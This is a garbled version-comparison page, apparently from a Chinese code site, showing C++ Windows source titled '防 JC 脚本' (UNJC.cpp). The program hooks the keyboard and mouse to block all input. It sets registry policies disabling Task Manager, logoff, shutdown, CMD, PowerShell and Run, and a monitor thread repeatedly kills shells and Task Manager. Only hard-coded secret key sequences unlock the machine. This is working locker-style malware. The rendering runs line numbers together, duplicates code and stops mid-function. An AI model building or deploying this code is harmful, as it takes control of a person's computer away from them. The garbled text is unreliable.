版本比较
防 JC 脚本
正文
增加 226 行删除 794 行
123456789101112131415161718192021222324252614 行未改动41424344454647484950515253545556575859606162636465666768697071727374757677787910 行未改动909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724732 行未改动4764774784794804814824834843 行未改动4884894904914924934944954965 行未改动5025035045055065075085095105115125135145155165175185195205215225235245255265275285 行未改动5345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959963 行未改动1000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410953 行未改动109911001101110211031104110511061107110811091110111111121113111411151116## UNJC.cpp```cpp#include <bits/stdc++.h>#include <windows.h>#include <tlhelp32.h>std::atomic <bool> disableInput(true); // Input disable flagstd::atomic <bool> shutdownFlag(false); // Program shutdown flagstd::vector <DWORD> secretSequence; // Unlock sequence storagestd::vector <DWORD> randomSequence; // Random target sequencestd::atomic <size_t> sequencePosition(0); // Current sequence positionstd::atomic <bool> sequenceActive(false); // Sequence input active statusstd::atomic <long long> lastKeyTime(0); // Last key press time// 函数声明void sigint_handler(int sig);long long getCurrentTime();void generateRandomSequence();void initializeSecretSequence();bool checkUnlockCombination(DWORD vkCode);bool checkContinuousSequence(DWORD vkCode);bool checkSecretSequence(DWORD vkCode);LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam);void DisableSecurityOptions();void EnableSecurityOptions();14 行未改动std::chrono::system_clock::now().time_since_epoch()).count();}// Generate random target sequencevoid generateRandomSequence() {std::random_device rd;std::mt19937 gen(rd());std::uniform_int_distribution <> dis(65, 90); // A-ZrandomSequence.clear();int sequenceLength = 5 + dis(gen) % 6; // 5-10 keysfor (int i = 0;i < sequenceLength;i++) secretSequence.push_back(dis(gen)), randomSequence.push_back(dis(gen)); // Random letter A-Z}void initializeSecretSequence() {// Generate random target sequencegenerateRandomSequence();}// Check for unlock combination keysbool checkUnlockCombination(DWORD vkCode) {// Multiple unlock methodsstatic const std::vector <std::vector <DWORD> > unlockCombinations = {Set Yours Keys Here;};static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0);static long long lastCheckTime = getCurrentTime();long long currentTime = getCurrentTime();// Timeout reset all sequencesif (currentTime - lastCheckTime > 5000) // 5 second timeoutfor (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0;lastCheckTime = currentTime;for (size_t i = 0;i < unlockCombinations.size();i++) {10 行未改动return false;}// Check if any continuous sequence matches the target sequencebool checkContinuousSequence(DWORD vkCode) {static std::vector <DWORD> inputBuffer;static long long lastInputTime = getCurrentTime();long long currentTime = getCurrentTime();// Reset buffer if more than 3 seconds between key pressesif (currentTime - lastInputTime > 3000) inputBuffer.clear();lastInputTime = currentTime;// Add current key to bufferinputBuffer.push_back(vkCode);// Keep buffer size reasonableif (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin());// Check if buffer contains the target sequenceif (inputBuffer.size() >= randomSequence.size()) {for (size_t i = 0;i <= inputBuffer.size() - randomSequence.size();i++) {bool match = true;for (size_t j = 0;j < randomSequence.size();j++) {if (inputBuffer[i + j] != randomSequence[j]) {match = false;break;}}if (match) {inputBuffer.clear();return true;}}}return false;}// Check secret sequencebool checkSecretSequence(DWORD vkCode) {long long currentTime = getCurrentTime();// Reset sequence if no key pressed for 2 secondsif (currentTime - lastKeyTime > 2000) {sequencePosition = 0;sequenceActive = false;}lastKeyTime = currentTime;if (!sequenceActive) {// Check if sequence starts (first key)if (vkCode == secretSequence[0]) {sequenceActive = true;sequencePosition = 1;return false;}}else {// Check next key in sequenceif (vkCode == secretSequence[sequencePosition]) {sequencePosition++;if (sequencePosition == secretSequence.size()) {// Sequence completedsequencePosition = 0;sequenceActive = false;return true;}}else {// Key doesn't match, reset sequencesequencePosition = 0;sequenceActive = false;}}return false;}// Keyboard hook, monitor all keysLRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode >= 0 && wParam == WM_KEYDOWN) {KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;// Check various unlock conditionsif (checkUnlockCombination(vkCode) ||checkSecretSequence(vkCode) ||checkContinuousSequence(vkCode)) {disableInput = false;shutdownFlag = true;PostQuitMessage(0); // Send quit messagereturn 1;}// Block all keyboard inputif (disableInput) {// Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc.if (vkCode == VK_ESCAPE || vkCode == VK_TAB ||vkCode == VK_LWIN || vkCode == VK_RWIN ||vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop)vkCode == VK_F4 || // Block F4 key (part of Alt+F4)(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del(GetAsyncKeyState(VK_LWIN) && vkCode == 'L') || // Win+L(GetAsyncKeyState(VK_LWIN) && vkCode == 'D') || // Win+D(GetAsyncKeyState(VK_CONTROL) && vkCode == VK_ESCAPE) || // Ctrl+Esc (Start menu)(GetAsyncKeyState(VK_MENU) && vkCode == VK_F4)) { // Alt+F4 (Close window)return 1;}return 1; // Block all other keyboard input}}// Also block Alt+F4 when Alt key is pressed and F4 is releasedif (nCode >= 0 && wParam == WM_KEYUP) {KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down}return CallNextHookEx(NULL, nCode, wParam, lParam);}// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {if (disableInput) {// 扩展鼠标操作禁用范围if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN ||wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL ||wParam == WM_MOUSEHWHEEL || wParam == WM_LBUTTONUP ||wParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP ||wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK ||wParam == WM_MBUTTONDBLCLK || wParam == WM_XBUTTONDOWN ||wParam == WM_XBUTTONUP || wParam == WM_XBUTTONDBLCLK) {return 1; // 阻止所有鼠标输入}}return CallNextHookEx(NULL, nCode, wParam, lParam);}void DisableSecurityOptions() {HKEY hKey;DWORD value = 1;// Disable Task Managerif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Lock Workstationif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Change Passwordif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableChangePassword", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Switch User (Fast User Switching)if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "HideFastUserSwitching", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Logoffif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoLogoff", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Shutdown/Restart (also affects logoff)if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoClose", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Alt+F4 via registry (for some applications)if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoWinKeys", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Block command promptsBlockCommandPrompts();}#include <bits/stdc++.h>#include <windows.h>#include <tlhelp32.h>std::atomic <bool> disableInput(true); // Input disable flagstd::atomic <bool> shutdownFlag(false); // Program shutdown flagstd::vector <DWORD> secretSequence; // Unlock sequence storagestd::vector <DWORD> randomSequence; // Random target sequencestd::atomic <size_t> sequencePosition(0); // Current sequence positionstd::atomic <bool> sequenceActive(false); // Sequence input active statusstd::atomic <long long> lastKeyTime(0); // Last key press time// 函数声明void sigint_handler(int sig);long long getCurrentTime();void generateRandomSequence();void initializeSecretSequence();bool checkUnlockCombination(DWORD vkCode);bool checkContinuousSequence(DWORD vkCode);bool checkSecretSequence(DWORD vkCode);LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam);void DisableSecurityOptions();void EnableSecurityOptions();bool TerminateTaskManager();void securityMonitorThread();bool TerminateProcessByName(const std::string& processName);void BlockCommandPrompts();void UnblockCommandPrompts();// Block Ctrl+C interruptvoid sigint_handler(int sig) {// Do nothing, ignore Ctrl+C}// Get current timestamp (milliseconds)long long getCurrentTime() {return std::chrono::duration_cast <std::chrono::milliseconds>(std::chrono::system_clock::now().time_since_epoch()).count();}// Generate random target sequencevoid generateRandomSequence() {std::random_device rd;std::mt19937 gen(rd());std::uniform_int_distribution <> dis(65, 90); // A-ZrandomSequence.clear();int sequenceLength = 5 + dis(gen) % 6; // 5-10 keysfor (int i = 0;i < sequenceLength;i++) secretSequence.push_back(dis(gen)), randomSequence.push_back(dis(gen)); // Random letter A-Z}void initializeSecretSequence() {// Generate random target sequencegenerateRandomSequence();}// Check for unlock combination keysbool checkUnlockCombination(DWORD vkCode) {// Multiple unlock methodsstatic const std::vector <std::vector <DWORD> > unlockCombinations = {{VK_F5, 55, 56, 57, 49, 49, 49, 52, 53, 49, 52, 49, 57, 49, 57, 56, 49, 48},{VK_F7, VK_F8, VK_F9, VK_F1, VK_F1, VK_F1, VK_F4, VK_F5, VK_F1, VK_F4,VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12,VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12,VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12,VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12,VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12, VK_F12}};static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0);static long long lastCheckTime = getCurrentTime();long long currentTime = getCurrentTime();// Timeout reset all sequencesif (currentTime - lastCheckTime > 5000) // 5 second timeoutfor (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0;lastCheckTime = currentTime;for (size_t i = 0;i < unlockCombinations.size();i++) {if (vkCode == unlockCombinations[i][combinationPositions[i]]) {combinationPositions[i]++;if (combinationPositions[i] == unlockCombinations[i].size()) {// Successfully matched a combinationfor (size_t j = 0;j < combinationPositions.size();j++) combinationPositions[j] = 0;return true;}}else combinationPositions[i] = 0;}return false;}// Check if any continuous sequence matches the target sequencebool checkContinuousSequence(DWORD vkCode) {static std::vector <DWORD> inputBuffer;static long long lastInputTime = getCurrentTime();long long currentTime = getCurrentTime();// Reset buffer if more than 3 seconds between key pressesif (currentTime - lastInputTime > 3000) inputBuffer.clear();lastInputTime = currentTime;// Add current key to bufferinputBuffer.push_back(vkCode);// Keep buffer size reasonableif (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin());// Check if buffer contains the target sequenceif (inputBuffer.size() >= randomSequence.size()) {for (size_t i = 0;i <= inputBuffer.size() - randomSequence.size();i++) {bool match = true;for (size_t j = 0;j < randomSequence.size();j++) {if (inputBuffer[i + j] != randomSequence[j]) {match = false;break;}}if (match) {inputBuffer.clear();return true;}}}return false;}// Check secret sequencebool checkSecretSequence(DWORD vkCode) {long long currentTime = getCurrentTime();// Reset sequence if no key pressed for 2 secondsif (currentTime - lastKeyTime > 2000) {sequencePosition = 0;sequenceActive = false;}lastKeyTime = currentTime;if (!sequenceActive) {// Check if sequence starts (first key)if (vkCode == secretSequence[0]) {sequenceActive = true;sequencePosition = 1;return false;}}else {// Check next key in sequenceif (vkCode == secretSequence[sequencePosition]) {sequencePosition++;if (sequencePosition == secretSequence.size()) {// Sequence completedsequencePosition = 0;sequenceActive = false;return true;}}else {// Key doesn't match, reset sequencesequencePosition = 0;sequenceActive = false;}}return false;}// Keyboard hook, monitor all keys2 行未改动KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;// Check various unlock conditionsif (checkUnlockCombination(vkCode) ||checkSecretSequence(vkCode) ||checkContinuousSequence(vkCode)) {disableInput = false;shutdownFlag = true;3 行未改动// Block all keyboard inputif (disableInput) {// Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc.if (vkCode == VK_ESCAPE || vkCode == VK_TAB ||vkCode == VK_LWIN || vkCode == VK_RWIN ||vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop)vkCode == VK_F4 || // Block F4 key (part of Alt+F4)(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del5 行未改动}return 1; // Block all other keyboard input}}// Also block Alt+F4 when Alt key is pressed and F4 is releasedif (nCode >= 0 && wParam == WM_KEYUP) {KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down}return CallNextHookEx(NULL, nCode, wParam, lParam);}// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {if (disableInput) {// 扩展鼠标操作禁用范围if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN ||wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL ||wParam == WM_MOUSEHWHEEL || wParam == WM_LBUTTONUP ||wParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP ||wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK ||wParam == WM_MBUTTONDBLCLK || wParam == WM_XBUTTONDOWN ||wParam == WM_XBUTTONUP || wParam == WM_XBUTTONDBLCLK) {5 行未改动void DisableSecurityOptions() {HKEY hKey;DWORD value = 1;// Disable Task Managerif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Lock Workstationif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Change Passwordif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableChangePassword", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Switch User (Fast User Switching)if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "HideFastUserSwitching", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Logoffif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoLogoff", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Shutdown/Restart (also affects logoff)if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoClose", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Alt+F4 via registry (for some applications)if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoWinKeys", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Block command promptsBlockCommandPrompts();}void EnableSecurityOptions() {HKEY hKey;// 恢复 HKEY_CURRENT_USER 下的系统策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableTaskMgr");RegDeleteValue(hKey, "DisableLockWorkstation");RegDeleteValue(hKey, "DisableChangePassword");RegDeleteValue(hKey, "NoWinKeys");RegDeleteValue(hKey, "HideFastUserSwitching"); // 移动到这里RegCloseKey(hKey);}// 恢复 HKEY_LOCAL_MACHINE 下的系统策略(需要管理员权限)if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "HideFastUserSwitching");RegCloseKey(hKey);}// 恢复 Explorer 策略(电源选项关键)if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoLogoff");RegDeleteValue(hKey, "NoClose");RegDeleteValue(hKey, "NoRun");RegDeleteValue(hKey, "NoFind");RegCloseKey(hKey);}// 恢复系统策略的其他可能位置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 恢复 PowerShell 策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "Disable");RegCloseKey(hKey);}// 强制刷新注册表更改SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Policy", SMTO_BLOCK, 1000, NULL);SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Windows", SMTO_BLOCK, 1000, NULL);}// 阻止命令行程序通过注册表void BlockCommandPrompts() {HKEY hKey;DWORD value = 1;// 禁用命令提示符 (CMD) - 主要方法if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableCMD", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用 PowerShell - 主要方法if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "Disable", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用运行对话框和查找功能if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegSetValueEx(hKey, "NoFind", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 使用更安全的方法:创建AppCompatFlags阻止命令行程序运行if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {// 阻止cmd.exe运行RegSetValueEx(hKey, "C:\\Windows\\System32\\cmd.exe", 0, REG_SZ,(const BYTE*)"RUNASINVOKER", 12);// 阻止powershell.exe运行RegSetValueEx(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", 0, REG_SZ,(const BYTE*)"RUNASINVOKER", 12);RegCloseKey(hKey);}}void UnblockCommandPrompts() {HKEY hKey;// 恢复命令提示符if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 恢复 PowerShellif (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "Disable");RegCloseKey(hKey);}// 恢复运行和查找功能if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegDeleteValue(hKey, "NoFind");RegCloseKey(hKey);}// 移除AppCompatFlags限制if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe");RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");RegCloseKey(hKey);}}bool TerminateProcessByName(const std::string& processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {return false;}PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);bool found = false;if (Process32First(hSnapshot, &pe)) {do {if (_stricmp(pe.szExeFile, processName.c_str()) == 0) {// Found target processHANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);if (hProcess != NULL) {TerminateProcess(hProcess, 0);CloseHandle(hProcess);found = true;}}} while (Process32Next(hSnapshot, &pe));}CloseHandle(hSnapshot);return found;}// Check if taskmgr.exe is running and terminate itbool TerminateTaskManager() {return TerminateProcessByName("taskmgr.exe");}void securityMonitorThread() {while (!shutdownFlag) {// Check and terminate Task Manager if runningTerminateTaskManager();// Check and terminate command prompts if running - 更全面的列表const char* blockedProcesses[] = {"cmd.exe","powershell.exe","pwsh.exe","conhost.exe","wscript.exe","cscript.exe","bash.exe", // WSL"wsl.exe", // WSL"cmd.hta", // HTML ApplicationNULL};for (int i = 0; blockedProcesses[i] != NULL; i++) {TerminateProcessByName(blockedProcesses[i]);}// Check if registry was modifiedHKEY hKey;if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_READ, &hKey) == ERROR_SUCCESS) {DWORD value = 0;DWORD size = sizeof(value);if (RegQueryValueEx(hKey, "DisableTaskMgr", NULL, NULL, (LPBYTE)&value, &size) != ERROR_SUCCESS || value != 1) {DisableSecurityOptions();}RegCloseKey(hKey);}// Additional protection: Block Alt key state to prevent Alt+F4if (disableInput && (GetAsyncKeyState(VK_MENU) & 0x8000)) {// Simulate Alt key up to break Alt+F4 combinationINPUT input[2] = {0};input[0].type = INPUT_KEYBOARD;input[0].ki.wVk = VK_MENU;input[0].ki.dwFlags = KEYEVENTF_KEYUP;input[1].type = INPUT_KEYBOARD;input[1].ki.wVk = VK_F4;input[1].ki.dwFlags = KEYEVENTF_KEYUP;SendInput(2, input, sizeof(INPUT));}std::this_thread::sleep_for(std::chrono::milliseconds(500)); // 适中的监控频率}}int main() {// Set signal handler to ignore Ctrl+Csignal(SIGINT, sigint_handler);// Initialize unlock sequence and generate random targetinitializeSecretSequence();// Install keyboard hookHHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);if (keyboardHook == NULL) {std::cerr << "Failed to install keyboard hook!" << std::endl;return 1;}// Install mouse hookHHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0);if (mouseHook == NULL) {std::cerr << "Failed to install mouse hook!" << std::endl;return 1;}// Disable security optionsDisableSecurityOptions();// Start security monitoring threadstd::thread monitorThread(securityMonitorThread);// Set cleanup function on exitatexit([]() {EnableSecurityOptions();shutdownFlag = true;});// Message loopMSG msg;while (!shutdownFlag) {if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {if (msg.message == WM_QUIT) break;TranslateMessage(&msg);DispatchMessage(&msg);}else std::this_thread::sleep_for(std::chrono::milliseconds(10));}// CleanupUnhookWindowsHookEx(keyboardHook);UnhookWindowsHookEx(mouseHook);shutdownFlag = true;if (monitorThread.joinable()) monitorThread.join();// Restore security optionsEnableSecurityOptions();std::cout << "Input unlocked. Program exiting." << std::endl;return 0;}// 阻止命令行程序通过注册表void BlockCommandPrompts() {HKEY hKey;DWORD value = 1;// 禁用命令提示符 (CMD) - 主要方法if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableCMD", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用 PowerShell - 主要方法if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "Disable", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用运行对话框和查找功能if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 